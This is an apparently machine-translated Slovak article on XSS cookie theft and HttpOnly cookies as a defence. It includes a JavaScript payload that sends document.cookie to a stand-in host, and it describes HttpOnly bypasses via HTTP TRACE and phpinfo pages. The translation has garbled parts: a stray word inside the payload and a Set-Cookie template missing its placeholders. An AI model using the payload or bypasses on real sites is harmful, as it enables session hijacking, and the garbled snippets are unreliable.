S nástupom www služieb sa čoraz viac aplikácií presúva na B/S štruktúry, takže rôzne webové služby sú dostupné len v jednom prehliadači, no to zároveň čoraz viac vedie k čoraz väčšiemu počtu problémov s bezpečnosťou webu. www služba sa spolieha na protokol Http, Http je bezstavový protokol, takže na prenos informácií medzi reláciami je nevyhnutné používať cookies alebo relácie a iné technológie na označenie stavu návštevníka, a či už ide o cookie alebo reláciu, zvyčajne sa implementuje pomocou cookies (relácia je v cookie prehliadača označená tokenom, Server získa tento token, skontroluje jeho legitimitu a priradí príslušný stav uložený na serveri k prehliadaču), takže nevyhnutne bezpečne zamerá na cookie, pokiaľ je tento cookie získaný, je možné získať identitu iných, čo je skvelé pre narušiteľov, najmä ak získaný cookie patrí osobe s vysokými privilégiami, ako je administrátor, škoda je ešte väčšia. Medzi rôznymi bezpečnostnými problémami je zraniteľnosť XSS obzvlášť nebezpečná. Pri aplikáciách, keď sa objaví zraniteľnosť XSS, znamená to, že ostatní môžu v prehliadači vykonávať ľubovoľné JS skripty, a ak je aplikácia open source alebo funkcie verejné, iní môžu použiť Ajax na ich využitie, ale proces je často zdĺhavý, najmä ak chcete priamo získať identitu niekoho iného na bežné prehliadanie. Pre ne-open source aplikácie, ako je webové pozadie niektorých veľkých stránok (významnou vlastnosťou web2.0 je veľké množstvo interakcií, používatelia často potrebujú komunikovať s administrátormi na pozadí, napríklad pri hláseniach chýb alebo doručovaní informácií a podobne), hoci môžu existovať zraniteľnosti skriptovania naprieč stránkami kvôli existencii interakcie, ale kvôli nedostatku pochopenia pozadia je nemožné vytvoriť dokonalý ajax kód na použitie, aj keď môžete použiť js na získanie pozadia a jeho vrátenie na analýzu, ale proces je zároveň zdĺhavý a nie je skrytý. V súčasnosti je veľmi efektívne využiť zraniteľnosť xss na získanie cookies alebo únos relácie, konkrétne analyzovať autentifikáciu aplikácie, potom použiť určité techniky a dokonca trvalo získať identitu druhej strany, aj keď druhá strana program opustí. Ako teda získať cookie alebo session hijacking? V objekte dokumentu v prehliadači sa ukladajú informácie o cookies a cookie je možné získať pomocou js, pokiaľ dostanete tento cookie, môžete mať identitu niekoho iného. Typický útok XSS je nasledovný:
- xss exp:
- url=document.top.locatio去掉n.href;
- cookie=document.cookie;
- c=new Image();
- c.src=’<a target="_blank">http://www.xxx.net/c.php?c=</a>’+cookie+’&u=’+url;
Kopírovať kód Niektoré aplikácie môžu použiť techniky viazania prehliadača na riešenie tohto problému, napríklad viazanie cookies na user-agenta prehliadača, a považovať cookie za neplatný po jeho objavení. Táto metóda sa ukázala ako neúčinná, pretože keď votrelca ukradne sušienku, musí zároveň získať User-agenta. Existuje aj ďalší prísny systém, ktorý viaže cookies na Remote-addr (v skutočnosti je viazaný na IP, ale niektoré programy majú problémy s metódou získavania IP, čo tiež vedie k úspornosti), ale to prináša veľmi zlý používateľský zážitok, zmena IP je bežná vec, napríklad práca a domov sú 2 IP, takže táto metóda sa často nepoužíva. Preto sú útoky založené na cookies v súčasnosti veľmi populárne a na niektorých weboch s webom 2.0 je jednoduché získať status administrátora aplikácie. Ako ochránime naše citlivé cookies? Na základe vyššie uvedenej analýzy sa všeobecné cookies získavajú z objektov dokumentu a stačí len sprístupniť citlivé cookies v dokumente prehliadača. Našťastie prehliadače teraz zvyčajne akceptujú parameter nazývaný HttpOnly pri nastavovaní cookies, rovnako ako iné parametre ako doména, a keď je tento HttpOnly nastavený, cookie už neuvidíte v objekte dokumentu prehliadača a prehliadač nebude nijako ovplyvnený pri prehliadaní, pretože cookie bude odoslaný v hlavičke prehliadača (vrátane ajaxu). Aplikácie vo všeobecnosti nepoužívajú tieto citlivé cookies v js, používame HttpOnly pre niektoré citlivé cookies a nenastavujeme cookies, ktoré musia byť v js používané, priamo v aplikácii, čo zabezpečuje bezpečnosť informácií o cookies a zabezpečuje samotnú aplikáciu. Pre viac informácií o HttpOnly pozri http://msdn2.microsoft.com/en-us/library/ms533046.aspx. Hlavička na nastavenie cookies vo vašom prehliadači je nasledovná:
- Set-Cookie: =[; =]
- [; expires=][; domain=]
- [; path=][; secure][; HttpOnly]
Kopírovať kód Ako príklad php bola podpora HttpOnly pridaná do funkcie Setcookie v php 5.2, napríklad: setcookie ("abc","test",null,null,null,null,null,true); Môžete nastaviť abc cookie na Iba HttpOnly, a dokument nebude pre tento cookie viditeľný. Keďže funkcia setcookie je v podstate hlavička, môžete použiť hlavičku aj na nastavenie Iba Http. Potom použite document.cookie, aby ste zistili, že tento cookie už nie je dostupný. Používame túto metódu na ochranu Sessionid, napríklad niektoré autentifikačné cookies na autentifikáciu, aby sme sa nemuseli obávať získania identity, čo má veľký význam pre niektoré programy na pozadí a webmail na zlepšenie bezpečnosti. Keď použijeme vyššie uvedenú metódu útoku znova, vidíme, že už nemôžeme získať citlivé cookies, ktoré sme nastavili ako Iba Http. Avšak je tiež vidieť, že HttpOnly nie je všemocný, predovšetkým nedokáže vyriešiť problém xss, stále nedokáže odolať útokom niektorých trpezlivých hackerov, ani zabrániť votrelcom v ajax submissionoch, a dokonca sa objavili niektoré xss proxy proxy, ale bolo možné zvýšiť prah útokov, aspoň xss útoky nie sú dokončené každým script kidom a iné metódy útokov sú dôsledkom niektorých environmentálnych a technických obmedzení. Nie je to také bežné ako kradnutie sušienok. Iba HttpOnly dokáže tiež zneužiť niektoré zraniteľnosti alebo nastaviť Bypass, kľúčový problém je, že pokiaľ dokážete dostať cookie header odoslaný prehliadačom. Napríklad predchádzajúci útok Http Trace môže vrátiť cookie do hlavičky a tento útok je možné dokončiť použitím Ajaxu alebo Flashu, ktorý bol tiež opravený v Ajax a Flash. Ďalším pozoruhodným príkladom možného obchádzania konfigurácie alebo aplikácie je phpinfo, ako viete, phpinfo zobrazí http hlavičku odoslanú prehliadačom, vrátane autentifikačných informácií, ktoré chránime, a táto stránka často existuje na rôznych stránkach, pokiaľ použijete ajax na získanie phpinfo stránky, odstráňte časť zodpovedajúcu hlavičke a získate cookie. Nedokonalosti v niektorých aplikáciách môžu tiež viesť k úniku hlavičky, ktorý je možné napadnúť rovnako ako stránku chránenú základnou verifikaciou. Iba HttpOnly je lepšie podporovaný v IE 6 a vyšších, široko sa používa v aplikáciách ako Hotmail a dosiahol relatívne dobré bezpečnostné výsledky.
|